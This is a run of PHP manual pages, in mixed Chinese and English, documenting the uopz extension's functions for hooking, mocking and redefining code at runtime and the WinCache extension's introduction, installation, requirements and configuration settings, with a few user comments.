The name of the class.

function

The name of the function or method.

返回值

Returns the previously set hook on a function or method, or null if no hook has been set.

示例

Example #1 Basic uopz_get_hook() Usage

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
var_dump(uopz_get_hook('foo'));
?>

以上示例的输出类似于：

object(Closure)#2 (0) {
}

参见

  • uopz_set_hook() - Sets hook to execute when entering a function or method
  • uopz_unset_hook() - Removes previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Get the current mock for a class

  • ? uopz_get_hook
  • uopz_get_property ?
  • PHP Manual
  • Uopz 函数
  • Get the current mock for a class

uopz_get_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_mock — Get the current mock for a class

说明

uopz_get_mock(string $class): mixed

Returns the current mock for class.

参数

class

The name of the mocked class.

返回值

Either a string containing the name of the mock, or an object, or null if no mock has been set.

示例

Example #1 uopz_get_mock() example

<?php
class A {
public static function who() {
echo "A";
}
}

class mockA {
public static function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
echo uopz_get_mock(A::class);
?>

以上示例会输出：

mockA

参见

  • uopz_set_mock() - Use mock instead of class for new objects
  • uopz_unset_mock() - Unset previously set mock

User Contributed Notes

There are no user contributed notes for this page.


Gets value of class or instance property

  • ? uopz_get_mock
  • uopz_get_return ?
  • PHP Manual
  • Uopz 函数
  • Gets value of class or instance property

uopz_get_property

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_property — Gets value of class or instance property

说明

uopz_get_property(string $class, string $property): mixed
uopz_get_property(object $instance, string $property): mixed

Gets the value of a static class property, if class is given, or the value of an instance property, if instance is given.

参数

class

The name of the class.

instance

The object instance.

property

The name of the property.

返回值

Returns the value of the class or instance property, or null if the property is not defined.

示例

Example #1 Basic uopz_get_property() Usage

<?php
class Foo {
private static $staticBar = 10;
private $bar = 100;
}
$foo = new Foo;
var_dump(uopz_get_property('Foo', 'staticBar'));
var_dump(uopz_get_property($foo, 'bar'));
?>

以上示例的输出类似于：

int(10)
int(100)

参见

  • uopz_set_property() - Sets value of existing class or instance property

User Contributed Notes

There are no user contributed notes for this page.


Gets a previous set return value for a function

  • ? uopz_get_property
  • uopz_get_static ?
  • PHP Manual
  • Uopz 函数
  • Gets a previous set return value for a function

uopz_get_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_return — Gets a previous set return value for a function

说明

uopz_get_return(string $function): mixed
uopz_get_return(string $class, string $function): mixed

Gets the return value of the function previously set by uopz_set_return().

参数

class

The name of the class containing the function

function

The name of the function

返回值

The return value or Closure previously set.

示例

Example #1 uopz_get_return() example

<?php
uopz_set_return("strlen", 42);
echo uopz_get_return("strlen");
?>

以上示例会输出：

42

User Contributed Notes

There are no user contributed notes for this page.


Gets the static variables from function or method scope

  • ? uopz_get_return
  • uopz_implement ?
  • PHP Manual
  • Uopz 函数
  • Gets the static variables from function or method scope

uopz_get_static

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_static — Gets the static variables from function or method scope

说明

uopz_get_static(string $class, string $function): array
uopz_get_static(string $function): array

Gets the static variables from function or method scope.

参数

class

The name of the class.

function

The name of the function or method.

返回值

Returns an associative array of variable names mapped to their current values on success, or null if the function or method does not exist.

示例

Example #1 Basic uopz_get_static() Usage

<?php
function foo() {
static $bar = 'baz';
}
var_dump(uopz_get_static('foo'));
?>

以上示例会输出：

array(1) {
  ["bar"]=>
  string(3) "baz"
}

参见

  • uopz_set_static() - Sets the static variables in function or method scope

User Contributed Notes

There are no user contributed notes for this page.


Implements an interface at runtime

  • ? uopz_get_static
  • uopz_overload ?
  • PHP Manual
  • Uopz 函数
  • Implements an interface at runtime

uopz_implement

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7 < 7.1.0)

uopz_implement — Implements an interface at runtime

说明

uopz_implement(string $class, string $interface): bool

Makes class implement interface

参数

class

interface

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

As of PHP 7.4.0, uopz_implements() throws a RuntimeException, if OPcache is enabled, and the class entry of class is immutable.

示例

Example #1 uopz_implement() example

<?php
interface myInterface {}

class myClass {}

uopz_implement(myClass::class, myInterface::class);

var_dump(class_implements(myClass::class));
?>

以上示例会输出：

array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Overload a VM opcode

  • ? uopz_implement
  • uopz_redefine ?
  • PHP Manual
  • Uopz 函数
  • Overload a VM opcode

uopz_overload

(PECL uopz 1, PECL uopz 2)

uopz_overload — Overload a VM opcode

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_overload(int $opcode, Callable $callable): void

Overloads the specified opcode with the user defined function

参数

opcode

A valid opcode, see constants for details of supported codes

callable

返回值

示例

Example #1 uopz_overload() example

<?php
uopz_overload(ZEND_EXIT, function(){});

exit();
echo "Hello World";
?>

以上示例会输出：

Hello World

User Contributed Notes

There are no user contributed notes for this page.


Redefine a constant

  • ? uopz_overload
  • uopz_rename ?
  • PHP Manual
  • Uopz 函数
  • Redefine a constant

uopz_redefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_redefine — Redefine a constant

说明

uopz_redefine(string $constant, mixed $value): bool
uopz_redefine(string $class, string $constant, mixed $value): bool

Redefines the given constant as value

参数

class

The name of the class containing the constant

constant

The name of the constant

value

The new value for the constant, must be a valid type for a constant variable

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 uopz_redefine() example

<?php
define("MY", 100);

uopz_redefine("MY", 1000);

echo MY;
?>

以上示例会输出：

1000

User Contributed Notes

There are no user contributed notes for this page.


Rename a function at runtime

  • ? uopz_redefine
  • uopz_restore ?
  • PHP Manual
  • Uopz 函数
  • Rename a function at runtime

uopz_rename

(PECL uopz 1, PECL uopz 2)

uopz_rename — Rename a function at runtime

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_rename(string $function, string $rename): void
uopz_rename(string $class, string $function, string $rename): void

Renames function to rename

Note:

If both functions exist, this effectively swaps their names

参数

class

The name of the class containing the function

function

The name of an existing function

rename

The new name for the function

返回值

示例

Example #1 uopz_rename() example

<?php
uopz_rename("strlen", "original_strlen");

echo original_strlen("Hello World");
?>

以上示例会输出：

11

Example #2 uopz_rename() class example

<?php
class My {
public function strlen($arg) {
return strlen($arg);
}
}

uopz_rename(My::class, "strlen", "original_strlen");

echo My::original_strlen("Hello World");
?>

以上示例会输出：

11

User Contributed Notes

There are no user contributed notes for this page.


Restore a previously backed up function

  • ? uopz_rename
  • uopz_set_hook ?
  • PHP Manual
  • Uopz 函数
  • Restore a previously backed up function

uopz_restore

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_restore — Restore a previously backed up function

Warning

This function has been REMOVED in PECL uopz 5.0.0.

说明

uopz_restore(string $function): void
uopz_restore(string $class, string $function): void

Restore a previously backed up function

参数

class

The name of the class containing the function to restore

function

The name of the function

返回值

示例

Example #1 uopz_restore() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
return true;
});
var_dump(fgets());
uopz_restore('fgets');
fgets();
?>

以上示例的输出类似于：

Warning: fgets() expects at least 1 parameter, 0 given in /path/to/script.php on line 8

User Contributed Notes

There are no user contributed notes for this page.


Sets hook to execute when entering a function or method

  • ? uopz_restore
  • uopz_set_mock ?
  • PHP Manual
  • Uopz 函数
  • Sets hook to execute when entering a function or method

uopz_set_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_hook — Sets hook to execute when entering a function or method

说明

uopz_set_hook(string $function, Closure $hook): bool
uopz_set_hook(string $class, string $function, Closure $hook): bool

Sets a hook to execute when entering a function or method.

参数

class

The name of the class.

function

The name of the function or method.

hook

A closure to execute when entering the function or method.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic uopz_set_hook() Usage

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
?>

以上示例会输出：

barfoo

参见

  • uopz_get_hook() - Gets previously set hook on function or method
  • uopz_unset_hook() - Removes previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Use mock instead of class for new objects

  • ? uopz_set_hook
  • uopz_set_property ?
  • PHP Manual
  • Uopz 函数
  • Use mock instead of class for new objects

uopz_set_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_mock — Use mock instead of class for new objects

说明

uopz_set_mock(string $class, mixed $mock): void

If mock is a string containing the name of a class then it will be instantiated instead of class. mock can also be an object.

Note:

Only dynamic access to properties and methods will use the mock object. Static access still uses the original class. See example below.

参数

class

The name of the class to be mocked.

mock

The mock to use in the form of a string containing the name of the class to use or an object. If a string is passed, it has to be the fully qualified class name. It is recommended to use the ::class magic constant in this case.

返回值

没有返回值。

更新日志

版本 | 说明
uopz 6.0.0 | Mocking static members is no longer supported by this function. uopz_redefine() and uopz_set_return(), or Componere can be used instead.

示例

Example #1 uopz_set_mock() example

<?php
class A {
public function who() {
echo "A";
}
}

class mockA {
public function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
(new A)->who();
?>

以上示例会输出：

mockA

Example #2 uopz_set_mock() example

<?php
class A {
public function who() {
echo "A";
}
}

uopz_set_mock(A::class, new class {
public function who() {
echo "mockA";
}
});
(new A)->who();
?>

以上示例会输出：

mockA

Example #3 uopz_set_mock() and static members

As of uopz 6.0.0 mocking static members is no longer supported.

<?php
class A {
const CON = 'A';
public static function who() {
echo "A";
}
}

uopz_set_mock(A::class, new class {
const CON = 'mockA';
public static function who() {
echo "mockA";
}
});
echo A::CON, PHP_EOL;
A::who();
?>

以上示例会输出：

A
A

Output of the above example in uopz 5:

mockA
mockA

参见

  • uopz_get_mock() - Get the current mock for a class
  • uopz_unset_mock() - Unset previously set mock

User Contributed Notes

There are no user contributed notes for this page.


Sets value of existing class or instance property

  • ? uopz_set_mock
  • uopz_set_return ?
  • PHP Manual
  • Uopz 函数
  • Sets value of existing class or instance property

uopz_set_property

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_property — Sets value of existing class or instance property

说明

uopz_set_property(string $class, string $property, mixed $value): void
uopz_set_property(object $instance, string $property, mixed $value): void

Sets the value of an existing static class property, if class is given, or the value of an instance property (regardless whether the instance property already exists), if instance is given.

参数

class

The name of the class.

instance

The object instance.

property

The name of the property.

value

The value to assign to the property.

返回值

没有返回值。

示例

Example #1 Basic uopz_set_property() Usage

<?php
class Foo {
private static $staticBar;
private $bar;
public static function testStaticBar() {
return self::$staticBar;
}
public function testBar() {
return $this->bar;
}
}
$foo = new Foo;
uopz_set_property('Foo', 'staticBar', 10);
uopz_set_property($foo, 'bar', 100);
var_dump(Foo::testStaticBar());
var_dump($foo->testBar());
?>

以上示例会输出：

int(10)

参见

  • uopz_get_property() - Gets value of class or instance property

User Contributed Notes

There are no user contributed notes for this page.


Provide a return value for an existing function

  • ? uopz_set_property
  • uopz_set_static ?
  • PHP Manual
  • Uopz 函数
  • Provide a return value for an existing function

uopz_set_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_return — Provide a return value for an existing function

说明

uopz_set_return(string $function, mixed $value, bool $execute = false): bool
uopz_set_return(
string $class,
string $function,
mixed $value,
bool $execute = false
): bool

Sets the return value of the function to value. If value is a Closure and execute is set, the Closure will be executed in place of the original function. It is possible to call the original function from the Closure.

Note:

This function replaces uopz_rename().

参数

class

The name of the class containing the function

function

The name of an existing function

value

The value the function should return. If a Closure is provided and the execute flag is set, the Closure will be executed in place of the original function.

execute

If true, and a Closure was provided as the value, the Closure will be executed in place of the original function.

返回值

True if succeeded, false otherwise.

示例

Example #1 uopz_set_return() example

<?php
uopz_set_return("strlen", 42);
echo strlen("Banana");
?>

以上示例会输出：

42

Example #2 uopz_set_return() example

<?php
uopz_set_return("strlen", function($str) { return strlen($str) * 2; }, true );
echo strlen("Banana");
?>

以上示例会输出：

12

Example #3 uopz_set_return() class example

<?php
class My {
public static function strlen($arg) {
return strlen($arg);
}
}
uopz_set_return(My::class, "strlen", function($str) { return strlen($str) * 2; }, true );
echo My::strlen("Banana");
?>

以上示例会输出：

12

User Contributed Notes

There are no user contributed notes for this page.


Sets the static variables in function or method scope

  • ? uopz_set_return
  • uopz_undefine ?
  • PHP Manual
  • Uopz 函数
  • Sets the static variables in function or method scope

uopz_set_static

(PECL uopz 5, PECL uopz , PECL uopz 7)

uopz_set_static — Sets the static variables in function or method scope

说明

uopz_set_static(string $function, array $static): void
uopz_set_static(string $class, string $function, array $static): void

Sets the static variables in function or method scope.

参数

class

The name of the class.

function

The name of the function or method.

static

The associative array of variable names mapped to their values.

返回值

没有返回值。

示例

Example #1 Basic uopz_set_static() Usage

<?php
function foo() {
static $bar = 'baz';
var_dump($bar);
}
uopz_set_static('foo', ['bar' => 'qux']);
foo();
?>

以上示例会输出：

string(3) "qux"

参见

  • uopz_get_static() - Gets the static variables from function or method scope

User Contributed Notes

There are no user contributed notes for this page.


Undefine a constant

  • ? uopz_set_static
  • uopz_unset_hook ?
  • PHP Manual
  • Uopz 函数
  • Undefine a constant

uopz_undefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_undefine — Undefine a constant

说明

uopz_undefine(string $constant): bool
uopz_undefine(string $class, string $constant): bool

Removes the constant at runtime

参数

class

The name of the class containing constant

constant

The name of an existing constant

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 uopz_undefine() example

<?php
define("MY", true);

uopz_undefine("MY");

var_dump(defined("MY"));
?>

以上示例会输出：

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Removes previously set hook on function or method

  • ? uopz_undefine
  • uopz_unset_mock ?
  • PHP Manual
  • Uopz 函数
  • Removes previously set hook on function or method

uopz_unset_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_hook — Removes previously set hook on function or method

说明

uopz_unset_hook(string $function): bool
uopz_unset_hook(string $class, string $function): bool

Removes the previously set hook on a function or method.

参数

class

The name of the class.

function

The name of the function or method.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic uopz_unset_hook() Usage

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
echo PHP_EOL;
uopz_unset_hook('foo');
foo();
?>

以上示例会输出：

barfoo
foo

参见

  • uopz_set_hook() - Sets hook to execute when entering a function or method
  • uopz_get_hook() - Gets previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Unset previously set mock

  • ? uopz_unset_hook
  • uopz_unset_return ?
  • PHP Manual
  • Uopz 函数
  • Unset previously set mock

uopz_unset_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_mock — Unset previously set mock

说明

uopz_unset_mock(string $class): void

Unsets the previously set mock for class.

参数

class

The name of the mocked class.

返回值

没有返回值。

错误／异常

A RuntimeException is thrown, if no mock was previously set for class.

示例

Example #1 uopz_unset_mock() example

<?php
class A {
public static function who() {
echo "A";
}
}

class mockA {
public static function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
uopz_unset_mock(A::class);
A::who();
?>

以上示例会输出：

A

参见

  • uopz_set_mock() - Use mock instead of class for new objects
  • uopz_get_mock() - Get the current mock for a class

User Contributed Notes

There are no user contributed notes for this page.


Unsets a previously set return value for a function

  • ? uopz_unset_mock
  • WinCache ?
  • PHP Manual
  • Uopz 函数
  • Unsets a previously set return value for a function

uopz_unset_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_return — Unsets a previously set return value for a function

说明

uopz_unset_return(string $function): bool
uopz_unset_return(string $class, string $function): bool

Unsets the return value of the function previously set by uopz_set_return().

参数

class

The name of the class containing the function

function

The name of the function

返回值

True on success

示例

Example #1 uopz_unset_return() example

<?php
uopz_set_return("strlen", 42);
$len = strlen("Banana");
uopz_unset_return("strlen");
echo $len + strlen("Banana");
?>

以上示例会输出：

48

User Contributed Notes

There are no user contributed notes for this page.


Windows Cache for PHP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • WinCache Statistics Script
    • WinCache Session Handler
    • WinCache Functions Reroutes
    • 资源类型
  • 预定义常量
  • WinCache 函数
    • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
    • wincache_fcache_meminfo — Retrieves information about file cache memory usage
    • wincache_lock — Acquires an exclusive lock on a given key
    • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
    • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
    • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
    • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
    • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
    • wincache_scache_info — Retrieves information about files cached in the session cache
    • wincache_scache_meminfo — Retrieves information about session cache memory usage
    • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
    • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
    • wincache_ucache_clear — Deletes entire content of the user cache
    • wincache_ucache_dec — Decrements the value associated with the key
    • wincache_ucache_delete — Deletes variables from the user cache
    • wincache_ucache_exists — Checks if a variable exists in the user cache
    • wincache_ucache_get — Gets a variable stored in the user cache
    • wincache_ucache_inc — Increments the value associated with the key
    • wincache_ucache_info — Retrieves information about data stored in the user cache
    • wincache_ucache_meminfo — Retrieves information about user cache memory usage
    • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
    • wincache_unlock — Releases an exclusive lock on a given key
  • Building for Windows
    • Prerequisites
    • Compiling and building
    • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.


简介

Windows Cache Extension for PHP is a PHP accelerator that is used to increase the speed of PHP applications running on Windows and Windows Server. Once the Windows Cache Extension for PHP is enabled and loaded by the PHP engine, PHP applications can take advantage of the functionality without any code modifications.

The Windows Cache Extension includes 5 different types of caches. The following describes the purpose of each cache type and the benefits it provides.

  • PHP Opcode Cache - PHP is a script processing engine, which reads an input stream of data that contains text and/or PHP instructions and produces another stream of data, most commonly in the HTML format. This means that on a web server the PHP engine reads, parses, compiles and executes a PHP script each time that it is requested by a Web client. The reading, parsing and compilation operations put additional load on the web server's CPU and file system and thus affect the overall performance of a PHP web application. The PHP bytecode (opcode) cache is used to store the compiled script bytecode in shared memory so that it can be re-used by PHP engine for subsequent executions of the same script.

    Support for opcode caching was removed in Wincache 2.0.0, all users who wish to have an opcache should use the OPcache extension that is included with PHP.

  • File Cache - Even with the PHP opcode cache enabled, the PHP engine has to accesses the script files on a file system. When PHP scripts are stored on a remote UNC file share, the file operations introduce a significant performance overhead. The Windows Cache Extension for PHP includes a file cache that is used to store the content of the PHP script files in shared memory, which reduces the amount of file system operations performed by PHP engine.

  • Resolve File Path Cache - PHP scripts very often include or operate with files by using relative file paths. Every file path has to be normalized to an absolute file path by the PHP engine. When a PHP application uses many PHP files and accesses them by relative paths, the operation of resolving the paths may negatively impact the application's performance. The Windows Cache Extension for PHP provides a Resolve File Path cache, which is used to store the mappings between relative and absolute file paths, thereby reducing the number of path resolutions that the PHP engine has to perform.

  • User Cache (available since version 1.1.0) - PHP scripts can take advantage of the shared memory cache by using the user cache API's. PHP objects and variables can be stored in the user cache and then re-used on subsequent requests. This can be used to improve performance of PHP scripts and to share the data across multiple PHP processes.

  • Session Handler (available since version 1.1.0) - The WinCache session handler can be used to store the PHP session data in the shared memory cache. This avoids file system operations for reading and writing session data, which improves performance when large amount of data is stored in PHP session.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • WinCache Statistics Script
  • WinCache Session Handler
  • WinCache Functions Reroutes
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

The extension is currently supported only on the following configurations:

Windows OS:

  • Windows XP SP3 with IIS 5.1 and » FastCGI Extension
  • Windows Server 2003 with IIS 6.0 and » FastCGI Extension
  • Windows Vista SP1 with IIS 7.0 and FastCGI Module
  • Windows Server 2008 with IIS 7.0 and FastCGI Module
  • Windows 7 with IIS 7.5 and FastCGI Module
  • Windows Server 2008 R2 with IIS 7.5 and FastCGI Module

PHP:

  • PHP 5.2.X, Non-thread-safe build
  • PHP 5.3 X86, Non-thread-safe VC9 build

Note: The WinCache Extension can only be used when IIS is configured to run PHP via FastCGI.

User Contributed Notes

win_php at user dot com 28-Aug-2013 05:04
I finally fixed the problem by installing another freshly downloaded php install from windows.php.net. I think that the problem was that the php version in Easyphp is thread safe as opposed to non-thread safe which is recommended for IIS/FastCgi.
win_php at user dot com 27-Aug-2013 07:45
Is this supported on Windows 8? I downloaded the WinCache for php5.3 and the one for PHP 5.4. I tried on both and it failed in both cases with the same error:

C:\Program Files (x86)\EasyPHP-DevServer-13.1VC11\binaries\php\php_runningversion\php-cgi.exe - The FastCGI process exited unexpectedly

and yes, I am using php5.4, which comes with easyphp vc11 and I am telling IIS/FastCGI to look for php-cgi in the easyphp folder. That has no problems, except when I try to load this extension, which hoses php for IIS.
lslight at no-log dot org 27-Aug-2013 09:48
PHP 5.4 X86, Non-thread-safe VC9 build, supported with WinCache 1.3.x
PHP 5.5 X86, Non-thread-safe VC11 build, supported with WinCache 1.3.5


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/wincache.

There are two packages for this extension: one package is for PHP versions 5.2.X, and the other package is for PHP 5.3.X. Select the package that is appropriate for the PHP version being used.

To install and enable the extension, follow these steps:

  1. Unpack the package into some temporary location.

  2. Copy the php_wincache.dll file into the PHP extensions folder. Typically this folder is called "ext" and it is located in the same folder with all PHP binary files. For example: C:\Program Files\PHP\ext.

  3. Using a text editor, open the php.ini file, which is usually located in the same folder where all PHP binary files are. For example: C:\Program Files\PHP\php.ini.

  4. Add the following line at the end of the php.ini file: extension = php_wincache.dll.

  5. Save and close the php.ini file.

  6. Recycle the IIS Application Pools for PHP to pick up the configuration changes. To check that the extension has been enabled, create a file called phpinfo.php with a PHP code that calls phpinfo function.

  7. Save the phpinfo.php file in the root folder of a IIS web site that uses PHP, then open a browser and make a request to http://localhost/phpinfo.php. Search within the returned web page for a section called wincache. If the extension is enabled, then the phpinfo output will list the configuration settings provided by the WinCache.

Note: Do not forget to remove phpinfo.php file from the web site's root folder after verifying that extension has been enabled.

User Contributed Notes

junk_1105 at hotmail dot com 31-Jan-2017 01:23
The wincache version for 7.0 is compiled for php7.dll not the thread safe php7ts.dll.  You may need to compile the source for wincache or change to the non thread safe version.
bobby mcbobbins 02-Nov-2016 11:53
If you're looking for the DLLs for WinCache 2.0.0 (for use with PHP7+), here's a quick outline of the steps I took:

- Download the appropriate build from wincache's repository on sourceforge
- Run the .exe and extract the archive to a temporary directory
- Using 7zip, unpack the .msi within that temporary directory
- Add the .dll extension to the file named "php_wincache"
nils dot luxton at gmail dot com 24-Jun-2011 04:10
If you're after pre-compiled binaries for WinCache, you can find them here: http://www.iis.net/download/WinCacheForPhp on the right-hand side of the page (under the Web Platform Installer button)


运行时配置

这些函数的行为受 php.ini 中的设置影响。

The following table lists and explains the configuration settings provided by the WinCache extension:

WinCache configuration options
名字 | 默认 | Minimum | Maximum | 可修改范围 | 更新日志
wincache.fcenabled | "1" | "0" | "1" | PHP_INI_ALL | Available as of WinCache 1.0.0
wincache.fcenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.fcachesize | "24" | "5" | "255" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.fcndetect | "1" | "0" | "1" | PHP_INI_SYSTEM | Available as of WinCache 1.1.0
wincache.maxfilesize | "256" | "10" | "2048" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.ocenabled | "1" | "0" | "1" | PHP_INI_ALL | Available as of WinCache 1.0.0. Removed as of 2.0.0.0
wincache.ocenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0. Removed as of 2.0.0.0
wincache.ocachesize | "96" | "15" | "255" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0. Removed as of 2.0.0.0
wincache.filecount | "4096" | "1024" | "16384" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.chkinterval | "30" | "0" | "300" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.ttlmax | "1200" | "0" | "7200" | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.enablecli | 0 | 0 | 1 | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.ignorelist | NULL | NULL | NULL | PHP_INI_ALL | Available as of WinCache 1.0.0
wincache.namesalt | NULL | NULL | NULL | PHP_INI_SYSTEM | Available as of WinCache 1.0.0
wincache.ucenabled | 1 | 0 | 1 | PHP_INI_SYSTEM | Available as of WinCache 1.1.0
wincache.ucachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available as of WinCache 1.1.0
wincache.scachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available as of WinCache 1.1.0
wincache.rerouteini | NULL | NULL | NULL | PHP_INI_SYSTEM | Available as of WinCache 1.2.0. Removed as of 1.3.7
wincache.reroute_enabled | 1 | 0 | 1 | PHP_INI_SYSTEM | PHP_INI_PERDIR | Available as of WinCache 1.3.7
wincache.srwlocks | 1 | 0 | 1 | PHP_INI_SYSTEM | Available as of WinCache 1.3.6.3. Removed as of 2.0.0.0
wincache.filemapdir | NULL | NULL | NULL | PHP_INI_SYSTEM | Available as of WinCache 1.3.7.4
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

wincache.fcenabled bool
Enables or disables the file cache functionality.
wincache.fcenabledfilter string
Defines a comma-separated list of IIS web site identifiers where file cache should be enabled or disabled. This setting works in conjunction with wincache.fcenabled: if wincache.fcenabled is set to 1, then the sites listed in the wincache.fcenabledfilter will have the file cache turned off; if wincache.fcenabled is set to 0, then the sites listed in the wincache.fcenabledfilter will have the file cache turned on.
wincache.fcachesize int
Defines the maximum memory size (in megabytes) that is allocated for the file cache. If the total size of all the cached files exceeds the value specified in this setting, then most stale files will be removed from the file cache.
wincache.fcndetect bool
Enables or disables the file change notification detection functionality. If file change notification is supported then it will be used to refresh the opcode and file cache entries as soon as the corresponding files are modified on a file system. If file change notification is not supported, for example when using network file shares, then wincache will poll for file changes at regular time intervals specified by wincache.chkinterval.
wincache.maxfilesize int
Defines the maximum allowed size (in kilobytes) for a single file to be cached. If a file size exceeds the specified value, the file will not be cached. This setting applies to the file cache only.
wincache.ocenabled bool
Warning

This option has been REMOVED as of 2.0.0.0

Enables or disables the opcode cache functionality
wincache.ocenabledfilter string
Warning

This option has been REMOVED as of 2.0.0.0

Defines a comma-separated list of IIS web site identifiers where opcode cache should be enabled or disabled. This setting works in conjunction with wincache.ocenabled: if wincache.ocenabled is set to 1, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned off; if wincache.ocenabled is set to 0, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned on.
wincache.ocachesize int
Warning

This option has been REMOVED as of 2.0.0.0

Defines the maximum memory size (in megabytes) that is allocated for the opcode cache. If the cached opcode size exceeds the specified value, then most stale opcode will be removed from the cache. Note that the opcode cache size must be at least 3 times bigger than file cache size. If that is not the case the opcode cache size will be automatically increased.
wincache.filecount int
Defines how many files are expected to be cached by the extension, so that appropriate memory size is allocated at the startup time. If the number of files exceeds the specified value, the WinCache will re-allocate more memory as needed.
wincache.chkinterval int
Defines how often (in seconds) the extension checks for file changes in order to refresh the cache. Setting it to 0 will disable the refreshing of the cache. The file changes will not be reflected in the cache unless the cache entry for that file is removed by scavenger or IIS application pool is recycled or wincache_refresh_if_changed function is called.
wincache.ttlmax int
Defines the maximum time to live (in seconds) for a cached entry without being used. Setting it to 0 will disable the cache scavenger, so the cached entries will never be removed from the cache during the lifetime of the IIS worker process.
wincache.enablecli bool
Defines if caching is enabled when PHP is running in command line (CLI) mode.
wincache.ignorelist string

Defines a list of files that should not be cached by the extension. The files list is specified by using file names only, separated by the pipe symbol - "|".

Example #1 wincache.ignorelist example

wincache.ignorelist = "index.php|misc.php|admin.php"

wincache.namesalt string
Defines a string that will be used when naming the extension specific objects that are stored in shared memory. This is used to avoid conflicts that may be caused if other applications within an IIS worker process tries to access shared memory. The length of the namesalt string cannot exceed 8 characters.
wincache.ucenabled bool
Enables or disables the user cache functionality.
wincache.ucachesize int
Defines the maximum memory size in megabytes that is allocated for the user cache. If the total size of variables stored in the user cache exceeds the specified value, then the most stale variables will be removed from the cache.
wincache.scachesize int
Defines the maximum memory size in megabytes that is allocated for the session cache. If the total size of data stored in the session cache exceeds the specified value, then the most stale data will be removed from the cache.
wincache.rerouteini string
Warning

This option has been REMOVED as of 1.3.7. See wincache.reroute_enabled for similar functionality as of 1.3.7.

Specifies an absolute or a relateve path to the reroute.ini file that contains the list of PHP functions whose implementation should be replaced with the WinCache function equivalents. If a relative path is specified then it is assumed to be relative to the location of php-cgi.exe file.
wincache.reroute_enabled bool
Enables or disables the rerouting of certain file I/O functions through the file cache.
wincache.srwlocks bool
Warning

This option has been REMOVED as of 2.0.0.0

Enables or disables the use of shared reader/writer locks. Disabling is useful when troubleshooting deadlock conditions in WinCache.
wincache.filemapdir string
Specifies an absolute path to a directory where WinCache will store the temporary files used for shared memory segments. This directory must be on the local machine and not on a networked file system. If the directory is not specified, WinCache will use the Windows System Page File for all shared memory segments.

User Contributed Notes

software journalist 03-Feb-2020 05:17
wincache.php showed in Session Cache Overview that the Available Memory was returning NAN B.
